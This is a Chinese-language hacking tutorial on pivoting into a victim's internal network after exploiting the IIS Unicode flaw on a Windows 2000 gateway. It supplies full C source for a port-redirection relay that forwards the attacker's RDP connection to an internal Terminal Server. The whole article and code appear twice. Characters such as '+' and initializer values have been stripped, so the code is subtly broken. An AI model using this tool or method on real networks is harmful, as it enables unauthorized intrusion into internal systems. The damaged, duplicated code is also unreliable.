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2008年(5645)

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2008-04-28 21:32:55

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  现在很多企业或者公司基本上网方式基本上都是申请一条连接到Internet的线路,宽带、DDN、ADSL、ISDN等等,然后用一台服务器做网关,服务器两块网卡,一块是连接到Internet,另一块是连接到内网的HUB或者交换机,然后内网的其他机器就可以通过网关连接到Internet。   也许有些人会这样想,我在内网之中,我们之间没有直接的连接,你没有办法攻击我。事实并非如此,在内网的机器同样可能遭受到来自Internet的攻击,当然前提是攻击者已经取得网关服务器的某些权限,呵呵,这是不是废话?其实,Internet上很多做网关的服务器并未经过严格的安全配置,要获取权限也不是想象中的那么难。   Ok!废话就不说了,切入正题。我们的目标是用我们的TermClient[M$终端服务客户端]连接到敌人内网的TermServer机器。M$的终端服务是一个很好的远程管理工具,不是吗?呵呵。没有做特别说明的话,文中提到的服务器OS都为windows 2000。服务器为Linux或其他的话,原理也差不多,把程序稍微修改就行了。   假设敌人网络拓扑如下图所示,没有安装防火墙或在网关服务器上做TCP/IP限制。   我们的目标是连接上敌人内网的Terminal Server[192.168.1.3],因为没有办法直接和他建立连接,那么只有先从它的网关服务器上下手了。假如敌人网关服务器是M$的windows 2k,IIS有Unicode漏洞[现在要找些有漏洞的机器太容易了,但我只是scripts kid,只会利用现成的漏洞做些简单的攻击:(555),那么我们就得到一个网关的shell了,我们可以在那上面运行我们的程序,虽然权限很低,但也可以做很多事情了。Ok!让我们来写一个做TCP socket数据转发的小程序,让敌人的网关服务器忠实的为我[202.1.1.1]和敌人内网的TermServer[192.168.1.3]之间转发数据。题外话:实际入侵过程是先取得网关服务器的权限,然后用他做跳板,进一步摸清它的内部网络拓扑结构,再做进一步的入侵,现在敌人的网络拓扑是我们给他设计的。  攻击流程如下:   <1>在网关服务器202.2.2.2运行我们的程序AgentGateWay,他监听TCP 3389端口[改成别的,那我们就要相应的修改TermClient了]等待我们去连接。   <2>我们202.1.1.1用TermClient连接到202.2.2.2:3389。   <3>202.2.2.2.接受202.1.1.1的连接,然后再建立一个TCP socket连接到自己内网的TermServer[192.168.1.3]   <4>这样我们和敌人内网的TermServer之间的数据通道就建好了,接下来网关就忠实的为我们转发数据啦。当我们连接到202.2.2.2:3389的时候,其实出来的界面是敌人内网的192.168.1.3,感觉怎么样?  程序代码如下: /********************************************************************** Module Name:AgentGateWay.c Date:2001/4/15 CopyRight(c) eyas 说明:端口重定向工具,在网关上运行,把端口重定向到内网的IP、PORT, 就可以进入内网了 sock[0]==>sClient sock[1]==>sTarget **********************************************************************/ #include #include #include "TCPDataRedird.c" #define TargetIP TEXT("192.168.1.3") #define TargetPort (int)3389 #define ListenPort (int)3389//监听端口 #pragma comment(lib,"ws2_32.lib") int main() {  WSADATA wsd;  SOCKET sListen=INVALID_SOCKET,//本机监听的socket  sock[2];  struct sockaddr_in Local,Client,Target;  int iAddrSize;  HANDLE hThreadC2T=NULL,//C2T=ClientToTarget  hThreadT2C=NULL;//T2C=TargetToClient  DWORD dwThreadID;  __try  {   if(WSAStartup(MAKEWORD(2,2),&wsd)!=0)   {    printf("\nWSAStartup() failed:%d",GetLastError());    __leave;   }   sListen=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);   if(sListen==INVALID_SOCKET)   {    printf("\nsocket() failed:%d",GetLastError());    __leave;   }   Local.sin_addr.s_addr=htonl(INADDR_ANY);   Local.sin_family=AF_INET;   Local.sin_port=htons(ListenPort);   Target.sin_family=AF_INET;   Target.sin_addr.s_addr=inet_addr(TargetIP);   Target.sin_port=htons(TargetPort);   if(bind(sListen,(struct sockaddr *)&Local,sizeof(Local))==SOCKET_ERROR)   {    printf("\nbind() failed:%d",GetLastError());    __leave;   }   if(listen(sListen,1)==SOCKET_ERROR)   {    printf("\nlisten() failed:%d",GetLastError());    __leave;   }   //scoket循环   while(1)   {    printf("\n\n*************Waiting Client Connect to**************\n\n");    iAddrSize=sizeof(Client);    //get socket sClient    sock[0]=accept(sListen,(struct sockaddr *)&Client,&iAddrSize);    if(sock[0]==INVALID_SOCKET)    {     printf("\naccept() failed:%d",GetLastError());     break;    }    printf("\nAccept client==>%s:%d",inet_ntoa(Client.sin_addr), ntohs(Client.sin_port));    //create socket sTarget    sock[1]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);    if(sock[1]==INVALID_SOCKET)    {     printf("\nsocket() failed:%d",GetLastError());     __leave;    }    //connect to target port    if(connect(sock[1],(struct sockaddr *)&Target,sizeof(Target))==SOCKET_ERROR)    {     printf("\nconnect() failed:%d",GetLastError());     __leave;    }    printf("\nconnect to target 3389 success!");    //创建两个线程进行数据转发    hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID);    hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID);    //等待两个线程结束    WaitForSingleObject(hThreadC2T,INFINITE);    WaitForSingleObject(hThreadT2C,INFINITE);    CloseHandle(hThreadC2T);    CloseHandle(hThreadT2C);    closesocket(sock[1]);    closesocket(sock[0]);    printf("\n\n*****************Connection Close*******************\n\n");   }//end of sock外循环  }//end of try  __finally  {   if(sListen!=INVALID_SOCKET) closesocket(sListen);   if(sock[0]!=INVALID_SOCKET) closesocket(sock[0]);   if(sock[1]!=INVALID_SOCKET) closesocket(sock[1]);   if(hThreadC2T!=NULL) CloseHandle(hThreadC2T);   if(hThreadT2C!=NULL) CloseHandle(hThreadT2C);   WSACleanup();  }  return 0; } /************************************************************************* Module:TCPDataRedird.c Date:2001/4/16 CopyRight(c) eyas HomePage: Thanks to shotgun 说明:TCP socket数据转发,sock[0]==>sClient sock[1]==>sTarget *************************************************************************/ #define BuffSize 20*1024 //缓冲区大小20k //此函数负责从Client读取数据,然后转发给Target DWORD WINAPI TCPDataC2T(SOCKET* sock) {  int iRet,  ret=-1,//select 返回值  iLeft,  idx,  iSTTBCS=0;//STTBCS=SendToTargetBuffCurrentSize  char szSendToTargetBuff[BuffSize]=,  szRecvFromClientBuff[BuffSize]=; fd_set fdread,fdwrite;  printf("\n\n*****************Connection Active*******************\n\n");  while(1)  {   FD_ZERO(&fdread);   FD_ZERO(&fdwrite);   FD_SET(sock[0],&fdread);   FD_SET(sock[1],&fdwrite);   if((ret=select(0,&fdread,&fdwrite,NULL,NULL))==SOCKET_ERROR)   {    printf("\nselect() failed:%d",GetLastError());    break;   }   //printf("\nselect() return value ret=%d",ret);   if(ret>0)   {    //sClinet可读,client有数据要发送过来    if(FD_ISSET(sock[0],&fdread))    {     //接收sock[0]发送来的数据     iRet=recv(sock[0],szRecvFromClientBuff,BuffSize,0);     if(iRet==SOCKET_ERROR)     {      printf("\nrecv() from sock[0] failed:%d",GetLastError());      break;     }     else if(iRet==0)      break;     printf("\nrecv %d bytes from sClinet.",iRet);     //把从client接收到的数据存添加到发往target的缓冲区     memcpy(szSendToTargetBuff iSTTBCS,szRecvFromClientBuff,iRet);     //刷新发往target的数据缓冲区当前buff大小     iSTTBCS =iRet;     //清空接收client数据的缓冲区     memset(szRecvFromClientBuff,0,BuffSize);    }    //sTarget可写,把从client接收到的数据发送到target    if(FD_ISSET(sock[1],&fdwrite))    {     //转发数据到target的3389端口     iLeft=iSTTBCS;     idx=0;     while(iLeft>0)     {      iRet=send(sock[1],&szSendToTargetBuff[idx],iLeft,0);      if(iRet==SOCKET_ERROR)      {       printf("\nsend() to target failed:%d",GetLastError());       break;      }      printf("\nsend %d bytes to target",iRet);      iLeft-=iRet;      idx =iRet;     }     //清空缓冲区     memset(szSendToTargetBuff,0,BuffSize);     //重置发往target的数据缓冲区当前buff大小     iSTTBCS=0;    }   }//end of select ret   Sleep(1);  }//end of data send & recv循环  return 0; } //此函数负责从target读取数据,然后发送给client DWORD WINAPI TCPDataT2C(SOCKET* sock) {  int iRet,  ret=-1,//select 返回值  iLeft,  idx,  iSTCBCS=0;//STCBCS=SendToClientBuffCurrentSize  char szRecvFromTargetBuff[BuffSize]=,  szSendToClientBuff[BuffSize]=;  fd_set fdread,fdwrite;  while(1)  {   FD_ZERO(&fdread);   FD_ZERO(&fdwrite);   FD_SET(sock[0],&fdwrite);   FD_SET(sock[1],&fdread);   if((ret=select(0,&fdread,&fdwrite,NULL,NULL))==SOCKET_ERROR)   {    printf("\nselect() failed:%d",GetLastError());    break;   }   if(ret>0)   {    //sTarget可读,从target接收数据    if(FD_ISSET(sock[1],&fdread))    {     //接收target返回数据     iRet=recv(sock[1],szRecvFromTargetBuff,BuffSize,0);     if(iRet==SOCKET_ERROR)     {      printf("\nrecv() from target failed:%d",GetLastError());      break;     }     else if(iRet==0)      break;     printf("\nrecv %d bytes from target",iRet);     //把从target接收到的数据添加到发送到client的缓冲区     memcpy(szSendToClientBuff iSTCBCS,szRecvFromTargetBuff,iRet);     //清空接收target返回数据缓冲区     memset(szRecvFromTargetBuff,0,BuffSize);     //刷新发送到client的数据缓冲区当前大小     iSTCBCS =iRet;    }    //client可写,发送target返回数据到client    if(FD_ISSET(sock[0],&fdwrite))    {     //发送target返回数据到client     iLeft=iSTCBCS;     idx=0;     while(iLeft>0)     {      iRet=send(sock[0],&szSendToClientBuff[idx],iLeft,0);      if(iRet==SOCKET_ERROR)      {       printf("\nsend() to Client failed:%d",GetLastError());       break;      }      printf("\nsend %d bytes to Client",iRet);      iLeft-=iRet;      idx =iRet;     }     //清空缓冲区     memset(szSendToClientBuff,0,BuffSize);     iSTCBCS=0;    }   }//end of select ret   Sleep(1);  }//end of while  return 0; } 共2页。 1 2 :   现在很多企业或者公司基本上网方式基本上都是申请一条连接到Internet的线路,宽带、DDN、ADSL、ISDN等等,然后用一台服务器做网关,服务器两块网卡,一块是连接到Internet,另一块是连接到内网的HUB或者交换机,然后内网的其他机器就可以通过网关连接到Internet。   也许有些人会这样想,我在内网之中,我们之间没有直接的连接,你没有办法攻击我。事实并非如此,在内网的机器同样可能遭受到来自Internet的攻击,当然前提是攻击者已经取得网关服务器的某些权限,呵呵,这是不是废话?其实,Internet上很多做网关的服务器并未经过严格的安全配置,要获取权限也不是想象中的那么难。   Ok!废话就不说了,切入正题。我们的目标是用我们的TermClient[M$终端服务客户端]连接到敌人内网的TermServer机器。M$的终端服务是一个很好的远程管理工具,不是吗?呵呵。没有做特别说明的话,文中提到的服务器OS都为windows 2000。服务器为Linux或其他的话,原理也差不多,把程序稍微修改就行了。   假设敌人网络拓扑如下图所示,没有安装防火墙或在网关服务器上做TCP/IP限制。   我们的目标是连接上敌人内网的Terminal Server[192.168.1.3],因为没有办法直接和他建立连接,那么只有先从它的网关服务器上下手了。假如敌人网关服务器是M$的windows 2k,IIS有Unicode漏洞[现在要找些有漏洞的机器太容易了,但我只是scripts kid,只会利用现成的漏洞做些简单的攻击:(555),那么我们就得到一个网关的shell了,我们可以在那上面运行我们的程序,虽然权限很低,但也可以做很多事情了。Ok!让我们来写一个做TCP socket数据转发的小程序,让敌人的网关服务器忠实的为我[202.1.1.1]和敌人内网的TermServer[192.168.1.3]之间转发数据。题外话:实际入侵过程是先取得网关服务器的权限,然后用他做跳板,进一步摸清它的内部网络拓扑结构,再做进一步的入侵,现在敌人的网络拓扑是我们给他设计的。  攻击流程如下:   <1>在网关服务器202.2.2.2运行我们的程序AgentGateWay,他监听TCP 3389端口[改成别的,那我们就要相应的修改TermClient了]等待我们去连接。   <2>我们202.1.1.1用TermClient连接到202.2.2.2:3389。   <3>202.2.2.2.接受202.1.1.1的连接,然后再建立一个TCP socket连接到自己内网的TermServer[192.168.1.3]   <4>这样我们和敌人内网的TermServer之间的数据通道就建好了,接下来网关就忠实的为我们转发数据啦。当我们连接到202.2.2.2:3389的时候,其实出来的界面是敌人内网的192.168.1.3,感觉怎么样?  程序代码如下: /********************************************************************** Module Name:AgentGateWay.c Date:2001/4/15 CopyRight(c) eyas 说明:端口重定向工具,在网关上运行,把端口重定向到内网的IP、PORT, 就可以进入内网了 sock[0]==>sClient sock[1]==>sTarget **********************************************************************/ #include #include #include "TCPDataRedird.c" #define TargetIP TEXT("192.168.1.3") #define TargetPort (int)3389 #define ListenPort (int)3389//监听端口 #pragma comment(lib,"ws2_32.lib") int main() {  WSADATA wsd;  SOCKET sListen=INVALID_SOCKET,//本机监听的socket  sock[2];  struct sockaddr_in Local,Client,Target;  int iAddrSize;  HANDLE hThreadC2T=NULL,//C2T=ClientToTarget  hThreadT2C=NULL;//T2C=TargetToClient  DWORD dwThreadID;  __try  {   if(WSAStartup(MAKEWORD(2,2),&wsd)!=0)   {    printf("\nWSAStartup() failed:%d",GetLastError());    __leave;   }   sListen=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);   if(sListen==INVALID_SOCKET)   {    printf("\nsocket() failed:%d",GetLastError());    __leave;   }   Local.sin_addr.s_addr=htonl(INADDR_ANY);   Local.sin_family=AF_INET;   Local.sin_port=htons(ListenPort);   Target.sin_family=AF_INET;   Target.sin_addr.s_addr=inet_addr(TargetIP);   Target.sin_port=htons(TargetPort);   if(bind(sListen,(struct sockaddr *)&Local,sizeof(Local))==SOCKET_ERROR)   {    printf("\nbind() failed:%d",GetLastError());    __leave;   }   if(listen(sListen,1)==SOCKET_ERROR)   {    printf("\nlisten() failed:%d",GetLastError());    __leave;   }   //scoket循环   while(1)   {    printf("\n\n*************Waiting Client Connect to**************\n\n");    iAddrSize=sizeof(Client);    //get socket sClient    sock[0]=accept(sListen,(struct sockaddr *)&Client,&iAddrSize);    if(sock[0]==INVALID_SOCKET)    {     printf("\naccept() failed:%d",GetLastError());     break;    }    printf("\nAccept client==>%s:%d",inet_ntoa(Client.sin_addr), ntohs(Client.sin_port));    //create socket sTarget    sock[1]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);    if(sock[1]==INVALID_SOCKET)    {     printf("\nsocket() failed:%d",GetLastError());     __leave;    }    //connect to target port    if(connect(sock[1],(struct sockaddr *)&Target,sizeof(Target))==SOCKET_ERROR)    {     printf("\nconnect() failed:%d",GetLastError());     __leave;    }    printf("\nconnect to target 3389 success!");    //创建两个线程进行数据转发    hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID);    hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID);    //等待两个线程结束    WaitForSingleObject(hThreadC2T,INFINITE);    WaitForSingleObject(hThreadT2C,INFINITE);    CloseHandle(hThreadC2T);    CloseHandle(hThreadT2C);    closesocket(sock[1]);    closesocket(sock[0]);    printf("\n\n*****************Connection Close*******************\n\n");   }//end of sock外循环  }//end of try  __finally  {   if(sListen!=INVALID_SOCKET) closesocket(sListen);   if(sock[0]!=INVALID_SOCKET) closesocket(sock[0]);   if(sock[1]!=INVALID_SOCKET) closesocket(sock[1]);   if(hThreadC2T!=NULL) CloseHandle(hThreadC2T);   if(hThreadT2C!=NULL) CloseHandle(hThreadT2C);   WSACleanup();  }  return 0; } /************************************************************************* Module:TCPDataRedird.c Date:2001/4/16 CopyRight(c) eyas HomePage: Thanks to shotgun 说明:TCP socket数据转发,sock[0]==>sClient sock[1]==>sTarget *************************************************************************/ #define BuffSize 20*1024 //缓冲区大小20k //此函数负责从Client读取数据,然后转发给Target DWORD WINAPI TCPDataC2T(SOCKET* sock) {  int iRet,  ret=-1,//select 返回值  iLeft,  idx,  iSTTBCS=0;//STTBCS=SendToTargetBuffCurrentSize  char szSendToTargetBuff[BuffSize]=,  szRecvFromClientBuff[BuffSize]=; fd_set fdread,fdwrite;  printf("\n\n*****************Connection Active*******************\n\n");  while(1)  {   FD_ZERO(&fdread);   FD_ZERO(&fdwrite);   FD_SET(sock[0],&fdread);   FD_SET(sock[1],&fdwrite);   if((ret=select(0,&fdread,&fdwrite,NULL,NULL))==SOCKET_ERROR)   {    printf("\nselect() failed:%d",GetLastError());    break;   }   //printf("\nselect() return value ret=%d",ret);   if(ret>0)   {    //sClinet可读,client有数据要发送过来    if(FD_ISSET(sock[0],&fdread))    {     //接收sock[0]发送来的数据     iRet=recv(sock[0],szRecvFromClientBuff,BuffSize,0);     if(iRet==SOCKET_ERROR)     {      printf("\nrecv() from sock[0] failed:%d",GetLastError());      break;     }     else if(iRet==0)      break;     printf("\nrecv %d bytes from sClinet.",iRet);     //把从client接收到的数据存添加到发往target的缓冲区     memcpy(szSendToTargetBuff iSTTBCS,szRecvFromClientBuff,iRet);     //刷新发往target的数据缓冲区当前buff大小     iSTTBCS =iRet;     //清空接收client数据的缓冲区     memset(szRecvFromClientBuff,0,BuffSize);    }    //sTarget可写,把从client接收到的数据发送到target    if(FD_ISSET(sock[1],&fdwrite))    {     //转发数据到target的3389端口     iLeft=iSTTBCS;     idx=0;     while(iLeft>0)     {      iRet=send(sock[1],&szSendToTargetBuff[idx],iLeft,0);      if(iRet==SOCKET_ERROR)      {       printf("\nsend() to target failed:%d",GetLastError());       break;      }      printf("\nsend %d bytes to target",iRet);      iLeft-=iRet;      idx =iRet;     }     //清空缓冲区     memset(szSendToTargetBuff,0,BuffSize);     //重置发往target的数据缓冲区当前buff大小     iSTTBCS=0;    }   }//end of select ret   Sleep(1);  }//end of data send & recv循环  return 0; } //此函数负责从target读取数据,然后发送给client DWORD WINAPI TCPDataT2C(SOCKET* sock) {  int iRet,  ret=-1,//select 返回值  iLeft,  idx,  iSTCBCS=0;//STCBCS=SendToClientBuffCurrentSize  char szRecvFromTargetBuff[BuffSize]=,  szSendToClientBuff[BuffSize]=;  fd_set fdread,fdwrite;  while(1)  {   FD_ZERO(&fdread);   FD_ZERO(&fdwrite);   FD_SET(sock[0],&fdwrite);   FD_SET(sock[1],&fdread);   if((ret=select(0,&fdread,&fdwrite,NULL,NULL))==SOCKET_ERROR)   {    printf("\nselect() failed:%d",GetLastError());    break;   }   if(ret>0)   {    //sTarget可读,从target接收数据    if(FD_ISSET(sock[1],&fdread))    {     //接收target返回数据     iRet=recv(sock[1],szRecvFromTargetBuff,BuffSize,0);     if(iRet==SOCKET_ERROR)     {      printf("\nrecv() from target failed:%d",GetLastError());      break;     }     else if(iRet==0)      break;     printf("\nrecv %d bytes from target",iRet);     //把从target接收到的数据添加到发送到client的缓冲区     memcpy(szSendToClientBuff iSTCBCS,szRecvFromTargetBuff,iRet);     //清空接收target返回数据缓冲区     memset(szRecvFromTargetBuff,0,BuffSize);     //刷新发送到client的数据缓冲区当前大小     iSTCBCS =iRet;    }    //client可写,发送target返回数据到client    if(FD_ISSET(sock[0],&fdwrite))    {     //发送target返回数据到client     iLeft=iSTCBCS;     idx=0;     while(iLeft>0)     {      iRet=send(sock[0],&szSendToClientBuff[idx],iLeft,0);      if(iRet==SOCKET_ERROR)      {       printf("\nsend() to Client failed:%d",GetLastError());       break;      }      printf("\nsend %d bytes to Client",iRet);      iLeft-=iRet;      idx =iRet;     }     //清空缓冲区     memset(szSendToClientBuff,0,BuffSize);     iSTCBCS=0;    }   }//end of select ret   Sleep(1);  }//end of while  return 0; } 共2页。 1 2 : 下载本文示例代码


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